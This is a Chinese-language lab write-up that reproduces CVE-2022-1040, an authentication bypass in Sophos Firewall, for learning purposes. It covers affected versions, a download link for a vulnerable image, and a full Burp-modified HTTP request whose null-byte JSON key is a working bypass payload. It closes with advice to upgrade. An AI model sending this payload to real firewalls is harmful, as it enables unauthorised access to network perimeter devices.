CVE-2022-1040 Sophos Firewall 服务架构与认证绕过漏洞复现

 

目录

0x01 声明：

0x02 简介：

0x03 漏洞概述：

0x04 影响版本：

0x05 环境搭建：

Vulfocus环境搭建:

漏洞环境搭建:

下载镜像包：

导入虚拟化：

0x06 漏洞复现：

0x07 流量分析：

0x08 修复建议：

---

0x01 声明：

仅供学习参考使用，请勿用作违法用途，否则后果自负。

0x02 简介：

    Sophos是提供“安全技术”的世界级领导者，为商业机构、教育机构和政府机构提供防御病毒、间谍软件和广告等垃圾邮件的完整解决方案，使这些客户免遭病毒和垃圾邮件的侵害。

0x03 漏洞概述：

        Sophos Firewall爆出了一个认证绕过漏洞CVE-2022-1040 。

0x04 影响版本：

        Sophos  Firewall  v18.5 MR3（18.5.3） 及以下版本

0x05 环境搭建：

Vulfocus环境搭建:

参考这篇文章：

https://blog.csdn.net/qq_44281295/article/details/127022162

漏洞环境搭建:

下载镜像包：

18.5_MR1版本地址：

链接：https://pan.baidu.com/s/1tj6vZqOG4Nk3UxzxpsE3og?pwd=zlsm

提取码：zlsm

导入虚拟化：

选择红框内容导入

0x06 漏洞复现：

Burp改包：

POST /webconsole/Controller HTTP/1.1
Host: 192.168.119.242:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://92.168.119.242:4444
Referer: https://92.168.119.242:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded

mode=151&json={"username"%3a"admin","password"%3a"password","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

0x07 流量分析：

        流量是TLS的比较麻烦。

0x08 修复建议：

根据官网升级至安全版本。

参考链接：

https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce